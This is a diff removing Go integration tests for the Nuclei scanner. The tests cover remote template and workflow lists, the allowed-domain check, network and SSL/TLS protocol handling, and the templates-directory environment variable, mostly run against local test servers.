configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() {
|
||||
_ = os.Remove("test-config.yaml")
|
||||
}()
|
||||
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-template-url", ts.URL+"/template_list", "-config", "test-config.yaml")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
type excludedTemplate struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *excludedTemplate) Execute(templateList string) error {
|
||||
router := httprouter.New()
|
||||
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
_, _ = fmt.Fprintf(w, "This is test matcher text")
|
||||
if strings.EqualFold(r.Header.Get("test"), "nuclei") {
|
||||
_, _ = fmt.Fprintf(w, "This is test headers matcher text")
|
||||
}
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-t", templateList, "-include-templates", templateList)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type remoteTemplateListNotAllowed struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *remoteTemplateListNotAllowed) Execute(templateList string) error {
|
||||
router := httprouter.New()
|
||||
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
_, _ = fmt.Fprintf(w, "This is test matcher text")
|
||||
if strings.EqualFold(r.Header.Get("test"), "nuclei") {
|
||||
_, _ = fmt.Fprintf(w, "This is test headers matcher text")
|
||||
}
|
||||
})
|
||||
|
||||
router.GET("/template_list", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
file, err := os.ReadFile(templateList)
|
||||
if err != nil {
|
||||
w.WriteHeader(500)
|
||||
}
|
||||
_, err = w.Write(file)
|
||||
if err != nil {
|
||||
w.WriteHeader(500)
|
||||
}
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-template-url", ts.URL+"/template_list")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for not allowed remote template list url")
|
||||
}
|
||||
|
||||
return nil
|
||||
|
||||
}
|
||||
|
||||
type remoteWorkflowList struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *remoteWorkflowList) Execute(workflowList string) error {
|
||||
router := httprouter.New()
|
||||
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
_, _ = fmt.Fprintf(w, "This is test matcher text")
|
||||
if strings.EqualFold(r.Header.Get("test"), "nuclei") {
|
||||
_, _ = fmt.Fprintf(w, "This is test headers matcher text")
|
||||
}
|
||||
})
|
||||
|
||||
router.GET("/workflow_list", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
file, err := os.ReadFile(workflowList)
|
||||
if err != nil {
|
||||
w.WriteHeader(500)
|
||||
}
|
||||
_, err = w.Write(file)
|
||||
if err != nil {
|
||||
w.WriteHeader(500)
|
||||
}
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() {
|
||||
_ = os.Remove("test-config.yaml")
|
||||
}()
|
||||
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-workflow-url", ts.URL+"/workflow_list", "-config", "test-config.yaml")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 3)
|
||||
}
|
||||
|
||||
type nonExistentTemplateList struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *nonExistentTemplateList) Execute(nonExistingTemplateList string) error {
|
||||
router := httprouter.New()
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() {
|
||||
_ = os.Remove("test-config.yaml")
|
||||
}()
|
||||
|
||||
_, err = testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-template-url", ts.URL+"/404", "-config", "test-config.yaml")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for nonexisting workflow url")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
type nonExistentWorkflowList struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *nonExistentWorkflowList) Execute(nonExistingWorkflowList string) error {
|
||||
router := httprouter.New()
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer func() {
|
||||
_ = os.Remove("test-config.yaml")
|
||||
}()
|
||||
|
||||
_, err = testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", ts.URL, "-workflow-url", ts.URL+"/404", "-config", "test-config.yaml")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for nonexisting workflow url")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
type loadTemplateWithID struct{}
|
||||
|
||||
func (h *loadTemplateWithID) Execute(nooop string) error {
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, "-target", "scanme.sh", "-id", "self-signed-ssl")
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to load template with id")
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
@@ -1,241 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
osutils "github.com/projectdiscovery/utils/os"
|
||||
"github.com/projectdiscovery/utils/reader"
|
||||
)
|
||||
|
||||
var networkTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/network/basic.yaml", TestCase: &networkBasic{}, DisableOn: func() bool { return osutils.IsWindows() }},
|
||||
{Path: "protocols/network/hex.yaml", TestCase: &networkBasic{}, DisableOn: func() bool { return osutils.IsWindows() }},
|
||||
{Path: "protocols/network/multi-step.yaml", TestCase: &networkMultiStep{}},
|
||||
{Path: "protocols/network/self-contained.yaml", TestCase: &networkRequestSelContained{}},
|
||||
{Path: "protocols/network/variables.yaml", TestCase: &networkVariables{}},
|
||||
{Path: "protocols/network/same-address.yaml", TestCase: &networkBasic{}},
|
||||
{Path: "protocols/network/network-port.yaml", TestCase: &networkPort{}},
|
||||
{Path: "protocols/network/net-https.yaml", TestCase: &networkhttps{}},
|
||||
{Path: "protocols/network/net-https-timeout.yaml", TestCase: &networkhttps{}},
|
||||
}
|
||||
|
||||
const defaultStaticPort = 5431
|
||||
|
||||
type networkBasic struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *networkBasic) Execute(filePath string) error {
|
||||
var routerErr error
|
||||
|
||||
ts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
_, _ = conn.Write([]byte("PONG"))
|
||||
} else {
|
||||
routerErr = fmt.Errorf("invalid data received: %s", string(data))
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
_, _ = fmt.Fprintf(os.Stderr, "Could not run nuclei: %s\n", err)
|
||||
return err
|
||||
}
|
||||
if routerErr != nil {
|
||||
_, _ = fmt.Fprintf(os.Stderr, "routerErr: %s\n", routerErr)
|
||||
return routerErr
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type networkMultiStep struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *networkMultiStep) Execute(filePath string) error {
|
||||
var routerErr error
|
||||
|
||||
ts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 5, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
if string(data) == "FIRST" {
|
||||
_, _ = conn.Write([]byte("PING"))
|
||||
}
|
||||
|
||||
data, err = reader.ConnReadNWithTimeout(conn, 6, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
if string(data) == "SECOND" {
|
||||
_, _ = conn.Write([]byte("PONG"))
|
||||
}
|
||||
_, _ = conn.Write([]byte("NUCLEI"))
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if routerErr != nil {
|
||||
return routerErr
|
||||
}
|
||||
|
||||
var expectedResultsSize int
|
||||
if debug {
|
||||
expectedResultsSize = 3
|
||||
} else {
|
||||
expectedResultsSize = 1
|
||||
}
|
||||
|
||||
return expectResultsCount(results, expectedResultsSize)
|
||||
}
|
||||
|
||||
type networkRequestSelContained struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *networkRequestSelContained) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
_, _ = conn.Write([]byte("Authentication successful"))
|
||||
})
|
||||
defer ts.Close()
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "", debug, "-esc")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type networkVariables struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *networkVariables) Execute(filePath string) error {
|
||||
var routerErr error
|
||||
|
||||
ts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
routerErr = err
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
_, _ = conn.Write([]byte("aGVsbG8="))
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if routerErr != nil {
|
||||
return routerErr
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type networkPort struct{}
|
||||
|
||||
func (n *networkPort) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(nil, 23846, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
_, _ = conn.Write([]byte("PONG"))
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := expectResultsCount(results, 1); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// even though we passed port 443 in url it is ignored and port 23846 is used
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, "23846", "443"), debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := expectResultsCount(results, 1); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// this is positive test case where we expect port to be overridden and 34567 to be used
|
||||
ts2 := testutils.NewTCPServer(nil, 34567, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
_, _ = conn.Write([]byte("PONG"))
|
||||
}
|
||||
})
|
||||
defer ts2.Close()
|
||||
|
||||
// even though we passed port 443 in url it is ignored and port 23846 is used
|
||||
// instead of hardcoded port 23846 in template
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, ts2.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type networkhttps struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *networkhttps) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
@@ -1,157 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
var sslTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/ssl/basic.yaml", TestCase: &sslBasic{}},
|
||||
{Path: "protocols/ssl/basic-ztls.yaml", TestCase: &sslBasicZtls{}},
|
||||
{Path: "protocols/ssl/custom-cipher.yaml", TestCase: &sslCustomCipher{}},
|
||||
{Path: "protocols/ssl/custom-version.yaml", TestCase: &sslCustomVersion{}},
|
||||
{Path: "protocols/ssl/ssl-with-vars.yaml", TestCase: &sslWithVars{}},
|
||||
{Path: "protocols/ssl/multi-req.yaml", TestCase: &sslMultiReq{}},
|
||||
}
|
||||
|
||||
type sslBasic struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *sslBasic) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(&tls.Config{}, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type sslBasicZtls struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *sslBasicZtls) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(&tls.Config{}, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, "-ztls")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type sslCustomCipher struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *sslCustomCipher) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(&tls.Config{CipherSuites: []uint16{tls.TLS_AES_128_GCM_SHA256}}, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type sslCustomVersion struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *sslCustomVersion) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(&tls.Config{MinVersion: tls.VersionTLS12, MaxVersion: tls.VersionTLS12}, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type sslWithVars struct{}
|
||||
|
||||
func (h *sslWithVars) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(&tls.Config{}, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, "-V", "test=asdasdas")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type sslMultiReq struct{}
|
||||
|
||||
func (h *sslMultiReq) Execute(filePath string) error {
|
||||
//nolint:staticcheck // SSLv3 is intentionally used for testing purposes
|
||||
ts := testutils.NewTCPServer(&tls.Config{
|
||||
MinVersion: tls.VersionSSL30,
|
||||
MaxVersion: tls.VersionTLS11,
|
||||
}, defaultStaticPort, func(conn net.Conn) {
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, "-V")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
@@ -1,32 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/utils/errkit"
|
||||
)
|
||||
|
||||
var templatesDirTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/dns/cname-fingerprint.yaml", TestCase: &templateDirWithTargetTest{}},
|
||||
}
|
||||
|
||||
type templateDirWithTargetTest struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *templateDirWithTargetTest) Execute(filePath string) error {
|
||||
tempdir, err := os.MkdirTemp("", "nuclei-update-dir-*")
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to create temp dir")
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(tempdir)
|
||||
}()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "8x8exch02.8x8.com", debug, "-ud", tempdir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
@@ -1,217 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
osutils "github.com/projectdiscovery/utils/os"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
"github.com/projectdiscovery/utils/errkit"
|
||||
)
|
||||
|
||||
// isNotLinux returns true if not running on Linux (used to skip tests on non-Linux OS)
|
||||
var isNotLinux = func() bool { return !osutils.IsLinux() }
|
||||
|
||||
var templatesDirEnvTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/dns/cname-fingerprint.yaml", TestCase: &templatesDirEnvBasicTest{}, DisableOn: isNotLinux},
|
||||
{Path: "protocols/dns/cname-fingerprint.yaml", TestCase: &templatesDirEnvAbsolutePathTest{}, DisableOn: isNotLinux},
|
||||
{Path: "protocols/dns/cname-fingerprint.yaml", TestCase: &templatesDirEnvRelativePathTest{}, DisableOn: isNotLinux},
|
||||
{Path: "protocols/dns/cname-fingerprint.yaml", TestCase: &templatesDirEnvPrecedenceTest{}, DisableOn: isNotLinux},
|
||||
{Path: "protocols/dns/cname-fingerprint.yaml", TestCase: &templatesDirEnvCustomTemplatesTest{}, DisableOn: isNotLinux},
|
||||
}
|
||||
|
||||
// copyTemplateToDir copies a template file to a destination directory, preserving the directory structure
|
||||
func copyTemplateToDir(templatePath, destDir string) error {
|
||||
// Read the template file
|
||||
templateData, err := os.ReadFile(templatePath)
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to read template file")
|
||||
}
|
||||
|
||||
// Create the destination path preserving directory structure
|
||||
destPath := filepath.Join(destDir, templatePath)
|
||||
destDirPath := filepath.Dir(destPath)
|
||||
|
||||
// Create the destination directory if it doesn't exist
|
||||
if err := os.MkdirAll(destDirPath, 0755); err != nil {
|
||||
return errkit.Wrap(err, "failed to create destination directory")
|
||||
}
|
||||
|
||||
// Write the template file
|
||||
if err := os.WriteFile(destPath, templateData, 0644); err != nil {
|
||||
return errkit.Wrap(err, "failed to write template file")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// templatesDirEnvBasicTest tests basic functionality of NUCLEI_TEMPLATES_DIR
|
||||
type templatesDirEnvBasicTest struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *templatesDirEnvBasicTest) Execute(filePath string) error {
|
||||
tempdir, err := os.MkdirTemp("", "nuclei-templates-dir-env-*")
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to create temp dir")
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(tempdir)
|
||||
}()
|
||||
|
||||
// Copy template to temp directory
|
||||
if err := copyTemplateToDir(filePath, tempdir); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Set NUCLEI_TEMPLATES_DIR and run nuclei
|
||||
envVars := []string{"NUCLEI_TEMPLATES_DIR=" + tempdir}
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, "-t", filePath, "-u", "8x8exch02.8x8.com")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
// templatesDirEnvAbsolutePathTest tests that absolute paths work correctly
|
||||
type templatesDirEnvAbsolutePathTest struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *templatesDirEnvAbsolutePathTest) Execute(filePath string) error {
|
||||
tempdir, err := os.MkdirTemp("", "nuclei-templates-dir-env-abs-*")
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to create temp dir")
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(tempdir)
|
||||
}()
|
||||
|
||||
// Get absolute path
|
||||
absTempDir, err := filepath.Abs(tempdir)
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to get absolute path")
|
||||
}
|
||||
|
||||
// Copy template to temp directory
|
||||
if err := copyTemplateToDir(filePath, absTempDir); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Set NUCLEI_TEMPLATES_DIR with absolute path and run nuclei
|
||||
envVars := []string{"NUCLEI_TEMPLATES_DIR=" + absTempDir}
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, "-t", filePath, "-u", "8x8exch02.8x8.com")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
// templatesDirEnvRelativePathTest tests that relative paths are resolved correctly
|
||||
type templatesDirEnvRelativePathTest struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *templatesDirEnvRelativePathTest) Execute(filePath string) error {
|
||||
// Create temp directory in current working directory
|
||||
tempdir, err := os.MkdirTemp(".", "nuclei-templates-dir-env-rel-*")
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to create temp dir")
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(tempdir)
|
||||
}()
|
||||
|
||||
// Get relative path (just the directory name)
|
||||
relPath := filepath.Base(tempdir)
|
||||
|
||||
// Copy template to temp directory
|
||||
if err := copyTemplateToDir(filePath, tempdir); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Set NUCLEI_TEMPLATES_DIR with relative path and run nuclei
|
||||
// Note: The implementation should convert relative paths to absolute
|
||||
envVars := []string{"NUCLEI_TEMPLATES_DIR=" + relPath}
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, "-t", filePath, "-u", "8x8exch02.8x8.com")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
// templatesDirEnvPrecedenceTest tests that -ud flag takes precedence over NUCLEI_TEMPLATES_DIR
|
||||
type templatesDirEnvPrecedenceTest struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *templatesDirEnvPrecedenceTest) Execute(filePath string) error {
|
||||
// Create two temp directories
|
||||
envTempDir, err := os.MkdirTemp("", "nuclei-templates-dir-env-*")
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to create env temp dir")
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(envTempDir)
|
||||
}()
|
||||
|
||||
flagTempDir, err := os.MkdirTemp("", "nuclei-templates-dir-flag-*")
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to create flag temp dir")
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(flagTempDir)
|
||||
}()
|
||||
|
||||
// Copy template to flag temp directory (this should be used due to precedence)
|
||||
if err := copyTemplateToDir(filePath, flagTempDir); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Set NUCLEI_TEMPLATES_DIR to envTempDir (should be ignored due to -ud flag)
|
||||
envVars := []string{"NUCLEI_TEMPLATES_DIR=" + envTempDir}
|
||||
// Use -ud flag which should take precedence
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, "-t", filePath, "-u", "8x8exch02.8x8.com", "-ud", flagTempDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
// templatesDirEnvCustomTemplatesTest tests that custom template subdirectories are correctly set
|
||||
type templatesDirEnvCustomTemplatesTest struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *templatesDirEnvCustomTemplatesTest) Execute(filePath string) error {
|
||||
tempdir, err := os.MkdirTemp("", "nuclei-templates-dir-custom-*")
|
||||
if err != nil {
|
||||
return errkit.Wrap(err, "failed to create temp dir")
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(tempdir)
|
||||
}()
|
||||
|
||||
// Create custom template subdirectories structure
|
||||
customDirs := []string{"github", "s3", "gitlab", "azure"}
|
||||
for _, dir := range customDirs {
|
||||
customDirPath := filepath.Join(tempdir, dir)
|
||||
if err := os.MkdirAll(customDirPath, 0755); err != nil {
|
||||
return errkit.Wrap(err, "failed to create custom template directory")
|
||||
}
|
||||
}
|
||||
|
||||
// Copy template to temp directory
|
||||
if err := copyTemplateToDir(filePath, tempdir); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Set NUCLEI_TEMPLATES_DIR and run nuclei
|
||||
envVars := []string{"NUCLEI_TEMPLATES_DIR=" + tempdir}
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, "-t", filePath, "-u", "8x8exch02.8x8.com")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
@@ -1,107 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
|
||||
"github.com/gobwas/ws/wsutil"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
)
|
||||
|
||||
var websocketTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/websocket/basic.yaml", TestCase: &websocketBasic{}},
|
||||
